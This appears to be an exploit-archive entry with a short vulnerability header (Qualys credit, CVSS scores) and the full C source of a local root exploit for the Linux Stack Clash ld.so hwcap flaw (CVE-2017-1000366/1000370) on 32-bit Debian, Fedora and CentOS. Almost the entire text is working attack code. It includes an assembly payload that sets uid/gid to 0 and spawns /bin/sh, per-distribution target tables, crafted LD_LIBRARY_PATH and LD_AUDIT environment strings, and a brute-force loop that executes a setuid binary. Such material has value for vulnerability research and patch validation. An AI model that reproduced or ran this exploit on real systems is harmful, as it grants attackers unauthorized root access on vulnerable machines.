Linux 'ldso_hwcap' Local Root Stack Clash Exploit

2017.06.29
Credit: Qualys
Risk: Medium
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* * Linux_ldso_hwcap.c for CVE-2017-1000366, CVE-2017-1000370 * Copyright (C) 2017 Qualys, Inc. * * my_important_hwcaps() adapted from elf/dl-hwcaps.c, * part of the GNU C Library: * Copyright (C) 2012-2017 Free Software Foundation, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** cat > la.c << "EOF" static void __attribute__ ((constructor)) _init (void) { __asm__ __volatile__ ( "addl $64, %esp;" // setuid(0); "movl $23, %eax;" "movl $0, %ebx;" "int $0x80;" // setgid(0); "movl $46, %eax;" "movl $0, %ebx;" "int $0x80;" // dup2(0, 1); "movl $63, %eax;" "movl $0, %ebx;" "movl $1, %ecx;" "int $0x80;" // dup2(0, 2); "movl $63, %eax;" "movl $0, %ebx;" "movl $2, %ecx;" "int $0x80;" // execve("/bin/sh"); "movl $11, %eax;" "pushl $0x0068732f;" "pushl $0x6e69622f;" "movl %esp, %ebx;" "movl $0, %edx;" "pushl %edx;" "pushl %ebx;" "movl %esp, %ecx;" "int $0x80;" // exit(0); "movl $1, %eax;" "movl $0, %ebx;" "int $0x80;" ); } EOF gcc -fpic -shared -nostdlib -Os -s -o la.so la.c xxd -i la.so > la.so.h **/ #define _GNU_SOURCE #include <assert.h> #include <elf.h> #include <fcntl.h> #include <limits.h> #include <link.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define PAGESZ ((size_t)4096) #define STACK_ALIGN ((size_t)16) #define MALLOC_ALIGN ((size_t)8) #define MMAP_BASE ((uintptr_t)0x40000000) #define MMAP_RAND ((size_t)1<<20) #define STACK_BASE ((uintptr_t)0xC0000000) #define STACK_RAND ((size_t)8<<20) #define MAX_ARG_STRLEN ((size_t)128<<10) #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF) static const struct target * target; static const struct target { const char * name; size_t memalign_up; size_t nsystem_dirs_len; size_t sizeof_system_dirs; const char * repl_lib; int ignore_lib; int ignore_origin; } targets[] = { { .name = "Debian 7 (wheezy)", .memalign_up = PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 8 (jessie)", .memalign_up = PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 9 (stretch)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 10 (buster)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 23 (Server Edition)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 24 (Server Edition)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 25 (Server Edition)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "CentOS 5.3 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 1, .ignore_origin = 0, }, { .name = "CentOS 5.11 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 1, }, { .name = "CentOS 6.0 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "CentOS 6.8 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 1, }, { .name = "CentOS 7.2.1511 (AltArch)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } static size_t get_elf_mmaps(const char * const binary) { if (!binary) die(); if (*binary != '/') die(); struct stat st; if (stat(binary, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; printf("%s %zu mmaps ", binary, size); const int fd = open(binary, O_RDONLY); if (fd <= -1) { const size_t mmaps = (size + PAGESZ-1) & ~(PAGESZ-1); printf("%zu (unreadable)\n", mmaps); return mmaps; } uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_machine != EM_386) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die(); if (ehdr->e_type != ET_DYN) { if (ehdr->e_type != ET_EXEC) die(); const size_t mmaps = 0; printf("%zu (executable)\n", mmaps); free(buf); return mmaps; } uintptr_t first_map_start = UINTPTR_MAX; uintptr_t last_map_end = 0; unsigned int i; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type != PT_LOAD) continue; if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr >= STACK_BASE) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_memsz >= SAFESZ) die(); #undef SAFESZ if (phdr->p_align != PAGESZ) die(); const uintptr_t map_start = phdr->p_vaddr & ~(PAGESZ-1); if (map_start >= UINTPTR_MAX) die(); if (map_start < last_map_end) die(); const uintptr_t map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (map_end <= map_start) die(); if (map_end <= 0) die(); if (first_map_start >= UINTPTR_MAX) { first_map_start = map_start; } last_map_end = map_end; switch (phdr->p_flags) { case PF_R | PF_X: break; case PF_R | PF_W: if (map_start <= first_map_start) die(); break; default: die(); } } if (first_map_start >= UINTPTR_MAX) die(); if (last_map_end <= 0) die(); if (last_map_end <= first_map_start) die(); const size_t mmaps = last_map_end - first_map_start; printf("%zu (%sshared object)\n", mmaps, first_map_start ? "prelinked " : ""); free(buf); return mmaps; } static const char my_x86_cap_flags[32][8] = { "fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8", "apic", "10", "sep", "mtrr", "pge", "mca", "cmov", "pat", "pse36", "pn", "clflush", "20", "dts", "acpi", "mmx", "fxsr", "sse", "sse2", "ss", "ht", "tm", "ia64", "pbe" }; static const char my_x86_platforms[4][5] = { "i386", "i486", "i586", "i686" }; static inline const char * my_hwcap_string (const unsigned int idx) { if (idx >= sizeof(my_x86_cap_flags) / sizeof(my_x86_cap_flags[0])) die(); return my_x86_cap_flags[idx]; } struct my_important_hwcaps { unsigned long hwcap_mask; size_t max_capstrlen; size_t pointers; size_t strings; size_t search_dirs; size_t search_dirs_0; }; struct my_link_map { const ElfW(Phdr) * l_phdr; ElfW(Half) l_phnum; ElfW(Addr) l_addr; }; /* We want to cache information about the searches for shared objects. */ enum r_dir_status { unknown, nonexisting, existing }; struct r_search_path_elem { /* This link is only used in the `all_dirs' member of `r_search_path'. */ struct r_search_path_elem *next; /* Strings saying where the definition came from. */ const char *what; const char *where; /* Basename for this search path element. The string must end with a slash character. */ const char *dirname; size_t dirnamelen; enum r_dir_status status[0]; }; struct r_strlenpair { const char *str; size_t len; }; /* Return an array of useful/necessary hardware capability names. */ static struct my_important_hwcaps my_important_hwcaps (const char * const platform, const size_t platform_len, const uint64_t hwcap, const uint64_t hwcap_mask, const struct my_link_map * sysinfo_map) { static const struct my_important_hwcaps err; /* Determine how many important bits are set. */ uint64_t masked = hwcap & hwcap_mask; size_t cnt = platform != NULL; size_t n, m; size_t total; struct r_strlenpair *result; /* Count the number of bits set in the masked value. */ for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n) if ((masked & (1ULL << n)) != 0) ++cnt; /* The system-supplied DSO can contain a note of type 2, vendor "GNU". This gives us a list of names to treat as fake hwcap bits. */ const char *dsocaps = NULL; size_t dsocapslen = 0; if (sysinfo_map != NULL) { const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr; const ElfW(Word) phnum = sysinfo_map->l_phnum; uint_fast16_t i; for (i = 0; i < phnum; ++i) if (phdr[i].p_type == PT_NOTE) { const ElfW(Addr) start = (phdr[i].p_vaddr + sysinfo_map->l_addr); /* The standard ELF note layout is exactly as the anonymous struct. The next element is a variable length vendor name of length VENDORLEN (with a real length rounded to ElfW(Word)), followed by the data of length DATALEN (with a real length rounded to ElfW(Word)). */ const struct { ElfW(Word) vendorlen; ElfW(Word) datalen; ElfW(Word) type; } *note = (const void *) start; while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz) { #define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word))) /* The layout of the type 2, vendor "GNU" note is as follows: .long <Number of capabilities enabled by this note> .long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA). .byte <The bit number for the next capability> .asciz <The name of the capability>. */ if (note->type == NT_GNU_HWCAP && note->vendorlen == sizeof "GNU" && !memcmp ((note + 1), "GNU", sizeof "GNU") && note->datalen > 2 * sizeof (ElfW(Word)) + 2) { const ElfW(Word) *p = ((const void *) (note + 1) + ROUND (sizeof "GNU")); cnt += *p++; ++p; /* Skip mask word. */ dsocaps = (const char *) p; /* Pseudo-string "<b>name" */ dsocapslen = note->datalen - sizeof *p * 2; break; } note = ((const void *) (note + 1) + ROUND (note->vendorlen) + ROUND (note->datalen)); #undef ROUND } if (dsocaps != NULL) break; } } /* For TLS enabled builds always add 'tls'. */ ++cnt; /* Create temporary data structure to generate result table. */ if (cnt < 2) return err; if (cnt >= 32) return err; struct r_strlenpair temp[cnt]; m = 0; if (dsocaps != NULL) { /* dsocaps points to the .asciz string, and -1 points to the mask .long just before the string. */ const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1]; size_t len; const char *p; for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1) { uint_fast8_t bit = *p++; len = strlen (p); /* Skip entries that are not enabled in the mask word. */ if (mask & ((ElfW(Word)) 1 << bit)) { temp[m].str = p; temp[m].len = len; ++m; } else --cnt; } } for (n = 0; masked != 0; ++n) if ((masked & (1ULL << n)) != 0) { temp[m].str = my_hwcap_string (n); temp[m].len = strlen (temp[m].str); masked ^= 1ULL << n; ++m; } if (platform != NULL) { temp[m].str = platform; temp[m].len = platform_len; ++m; } temp[m].str = "tls"; temp[m].len = 3; ++m; assert (m == cnt); /* Determine the total size of all strings together. */ if (cnt == 1) total = temp[0].len + 1; else { total = temp[0].len + temp[cnt - 1].len + 2; if (cnt > 2) { total <<= 1; for (n = 1; n + 1 < cnt; ++n) total += temp[n].len + 1; if (cnt > 3 && (cnt >= sizeof (size_t) * 8 || total + (sizeof (*result) << 3) >= (1UL << (sizeof (size_t) * 8 - cnt + 3)))) return err; total <<= cnt - 3; } } /* The result structure: we use a very compressed way to store the various combinations of capability names. */ const size_t _sz = 1 << cnt; /* Now we are ready to install the string pointers and length. */ size_t max_capstrlen = 0; n = cnt; do { const size_t mask = 1 << --n; for (m = 1 << cnt; m > 0; ) { if ((--m & mask) != 0) max_capstrlen += temp[n].len + 1; break; } } while (n != 0); const size_t round_size = (2 * sizeof (struct r_search_path_elem) - 1 + _sz * sizeof (enum r_dir_status)) / sizeof (struct r_search_path_elem); if (hwcap_mask > ULONG_MAX) die(); const struct my_important_hwcaps ret = { .hwcap_mask = hwcap_mask, .max_capstrlen = max_capstrlen, .pointers = _sz * sizeof (*result), .strings = total, .search_dirs = (target->nsystem_dirs_len + 1) * sizeof (struct r_search_path_elem *), .search_dirs_0 = target->sizeof_system_dirs * round_size * sizeof (struct r_search_path_elem) }; return ret; } static size_t my_bsearch(const void * const key, const void * const base, const size_t nmemb, const size_t size, int (* const compar)(const void *, const void *)) { if (!key) die(); if (!size) die(); if (!compar) die(); if (nmemb >= SSIZE_MAX / size) die(); if (!base != !nmemb) die(); if (!base || !nmemb) return 0; size_t low = 0; size_t high = nmemb - 1; while (low <= high) { const size_t mid = low + (high - low) / 2; if (mid >= nmemb) die(); const int cond = compar(key, base + mid * size); switch (cond) { case 0: return mid; case -1: if (mid <= 0) { if (mid != 0) die(); if (low != 0) die(); return low; } high = mid - 1; break; case +1: low = mid + 1; break; default: die(); } } if (low > nmemb) die(); return low; } static int cmp_important_hwcaps(const void * const _a, const void * const _b) { const struct my_important_hwcaps * const a = _a; const struct my_important_hwcaps * const b = _b; if (a->strings < b->strings) return -1; if (a->strings > b->strings) return +1; if (a->pointers < b->pointers) return -1; if (a->pointers > b->pointers) return +1; if (a->search_dirs_0 < b->search_dirs_0) return -1; if (a->search_dirs_0 > b->search_dirs_0) return +1; if (a->max_capstrlen < b->max_capstrlen) return -1; if (a->max_capstrlen > b->max_capstrlen) return +1; return 0; } struct audit_list { const char *name; struct audit_list *next; }; int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); { struct timeval tv; if (gettimeofday(&tv, NULL)) die(); srandom(getpid() ^ tv.tv_sec ^ tv.tv_usec); } if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } printf("mau %zu nsd %zu ssd %zu rl %s il %d io %d\n", target->memalign_up, target->nsystem_dirs_len, target->sizeof_system_dirs, target->repl_lib, target->ignore_lib, target->ignore_origin); if (target->memalign_up % PAGESZ) die(); if (target->ignore_lib < 0 || target->ignore_origin < 0) die(); if (target->ignore_lib > 1 || target->ignore_origin > 1) die(); const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, X_OK)) die(); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); const size_t platform_len = strlen(platform); if (platform_len != 4) die(); { size_t i; for (i = 0; ; i++) { if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die(); if (strcmp(platform, my_x86_platforms[i]) == 0) break; } } const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = target->ignore_origin ? 0 : strlen(origin); { size_t i; for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR); if (!sysinfo_dso) die(); struct my_link_map sysinfo_map = { .l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff, .l_phnum = sysinfo_dso->e_phnum, .l_addr = ULONG_MAX }; { uint_fast16_t i; for (i = 0; i < sysinfo_map.l_phnum; ++i) { const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i]; if (ph->p_type == PT_LOAD) { if (sysinfo_map.l_addr == ULONG_MAX) sysinfo_map.l_addr = ph->p_vaddr; } } } if (sysinfo_map.l_addr == ULONG_MAX) die(); sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr; const unsigned long hwcap = my_getauxval(AT_HWCAP); if (!hwcap) die(); struct my_important_hwcaps * important_hwcaps = NULL; size_t num_important_hwcaps = 0; { size_t max_important_hwcaps = 0; uint32_t hwcap_mask = 1; do { if (hwcap_mask & ~hwcap) continue; const uint64_t popcount = __builtin_popcount(hwcap_mask); if (popcount < 1) die(); if (popcount > 32) die(); if ((((2+1) * (2*2 + popcount)) << (popcount-1)) + PAGESZ >= MAX_ARG_STRLEN + (MAX_ARG_STRLEN / (4+1)) * (repl_max - (target->ignore_lib ? 7 : 4))) continue; const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map); if (!ihc.pointers) die(); const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps); if (idx > num_important_hwcaps) die(); if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) { if (num_important_hwcaps >= max_important_hwcaps) { if (num_important_hwcaps != max_important_hwcaps) die(); if (max_important_hwcaps >= 65536) die(); max_important_hwcaps += 256; if (num_important_hwcaps >= max_important_hwcaps) die(); important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps)); if (!important_hwcaps) die(); } memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps)); important_hwcaps[idx] = ihc; num_important_hwcaps++; } } while (++hwcap_mask); } printf("num_important_hwcaps %zu\n", num_important_hwcaps); static struct { double probability; struct my_important_hwcaps ihc; size_t gwr, dst, cnt; } best; #define LIB "/lib" #define SEP_LIB ":" LIB #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; #define MAX_GWR ((sizeof(llp) - (sizeof(LLP)-1 + sizeof(SEP_LIB)-1 + 1)) & ~(MALLOC_ALIGN-1)) size_t gwr; for (gwr = MAX_GWR; gwr >= 128; gwr -= MALLOC_ALIGN) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (MAX_GWR - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (sizeof(SEP_LIB)-1 + MAX_GWR + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1); const size_t bwr = (sizeof(SEP_LIB)-1 + cnt * (DSTs[dst].repl_len + 1)) + ((MAX_GWR - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1; const struct my_important_hwcaps key = { .strings = gwr + bwr }; if (key.pointers) die(); size_t idx = my_bsearch(&key, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps); for (; idx < num_important_hwcaps; idx++) { const struct my_important_hwcaps ihc = important_hwcaps[idx]; if (ihc.strings < gwr + bwr) die(); if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue; if (ihc.search_dirs_0 >= STACK_RAND) continue; const size_t min = MIN(gwr, ihc.pointers); if (gpj < min + ihc.strings + ihc.search_dirs + 2 * target->memalign_up + 2 * PAGESZ + (target->ignore_origin ? 0 : PATH_MAX)) continue; const double probability = (double)((uint64_t)(STACK_RAND - ihc.search_dirs_0) * (uint64_t)min) / (double)((uint64_t)STACK_RAND * (uint64_t)(MMAP_RAND + (STACK_RAND - ihc.search_dirs_0))); if (best.probability < probability) { best.probability = probability; best.ihc = ihc; best.gwr = gwr; best.dst = dst; best.cnt = cnt; printf("len %zu ihcp %zu ihcs %zu sd %zu sd0 %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g) mask %lx\n", ihc.max_capstrlen, ihc.pointers, ihc.strings, ihc.search_dirs, ihc.search_dirs_0, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability, ihc.hwcap_mask); } } } } if (!best.probability) die(); if (STACK_BASE <= MMAP_BASE) die(); const size_t mmap_size = ((STACK_BASE - MMAP_BASE) / 2) - MMAP_RAND / 2 - (get_elf_mmaps(binary) + get_elf_mmaps("/lib/ld-linux.so.2") + best.ihc.pointers + best.ihc.strings + best.ihc.search_dirs); const size_t stack_size = ((STACK_BASE - MMAP_BASE) / 2) - ((STACK_RAND + best.ihc.search_dirs_0) / 2); printf("mmap_size %zu stack_size %zu\n", mmap_size, stack_size); #define REL_LA "a" #define LDA "LD_AUDIT=" static char lda[MAX_ARG_STRLEN]; #define MAX_RLDAS ((sizeof(lda) - sizeof(LDA)) / sizeof(REL_LA)) if (sizeof(struct audit_list) % MALLOC_ALIGN) die(); const size_t ldas = (mmap_size / sizeof(struct audit_list)) / MAX_RLDAS; if (ldas >= MAX_ARG_STRINGS / 3) die(); #define INITIAL_STACK_EXPANSION (131072UL) const size_t pads = INITIAL_STACK_EXPANSION / sizeof(char *) - ldas; if (pads >= INITIAL_STACK_EXPANSION / sizeof(char *)) die(); if (pads >= MAX_ARG_STRINGS / 3) die(); static char pad[MAX_ARG_STRLEN]; { const size_t padl = (stack_size - sizeof(llp) - ldas * (sizeof(lda) + sizeof(char *)) - pads * sizeof(char *)) / pads; if (padl >= sizeof(pad)) die(); if (padl <= 0) die(); memset(pad, ' ', padl-1); printf("ldas %zu pads %zu padl %zu\n", ldas, pads, padl); } { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', MAX_GWR); memcpy(cp + MAX_GWR, SEP_LIB, sizeof(SEP_LIB)-1); if (*(cp + MAX_GWR + sizeof(SEP_LIB)-1)) die(); #define LIB_TO_TMP "/../tmp/" if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die(); if (!best.gwr) die(); if (best.gwr >= MAX_GWR) die(); if (best.gwr % MALLOC_ALIGN) die(); size_t i; for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) { cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN); } if (!best.cnt) die(); if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die(); for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if (llp[sizeof(llp)-1]) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask) >= sizeof(lhcm)) die(); { char * cp = mempcpy(lda, LDA, sizeof(LDA)-1); size_t i; for (i = 0; i < MAX_RLDAS; i++) { cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA)); } if (cp >= lda + sizeof(lda)) die(); if (*cp) die(); } static char rlda[MAX_ARG_STRLEN]; const size_t args = 1 + pads + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; size_t i; for (i = 0; i < pads; i++) { *ap++ = pad; } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 2 + ldas + 2; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; size_t i; for (i = 0; i < ldas; i++) { *ep++ = lda; } *ep++ = rlda; *ep++ = NULL; if (ep != envp + envs) die(); } { static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); { #define ABS_LA_DIR "/" LIB "/" LIB_TO_TMP "/" static const char * const abs_las[] = { ABS_LA_DIR "" REL_LA, ABS_LA_DIR "/" REL_LA, ABS_LA_DIR "/." REL_LA, ABS_LA_DIR "/.." REL_LA, }; size_t i; for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) { const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); { struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_uid != getuid()) die(); if (st.st_uid != geteuid()) die(); } { static const #include "la.so.h" if (sizeof(la_so) != la_so_len) die(); if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die(); } if (fchmod(fd, 04755)) die(); if (close(fd)) die(); } } size_t try; for (try = 1; try <= 65536; try++) { { char * cp = mempcpy(rlda, LDA, sizeof(LDA)-1); size_t rldas = 1 + random() % (65536 / sizeof(struct audit_list)); if (rldas > MAX_RLDAS) die(); if (rldas <= 0) die(); while (rldas--) { cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA)); } if (cp >= rlda + sizeof(rlda)) die(); *cp = '\0'; } if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); die(); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); }


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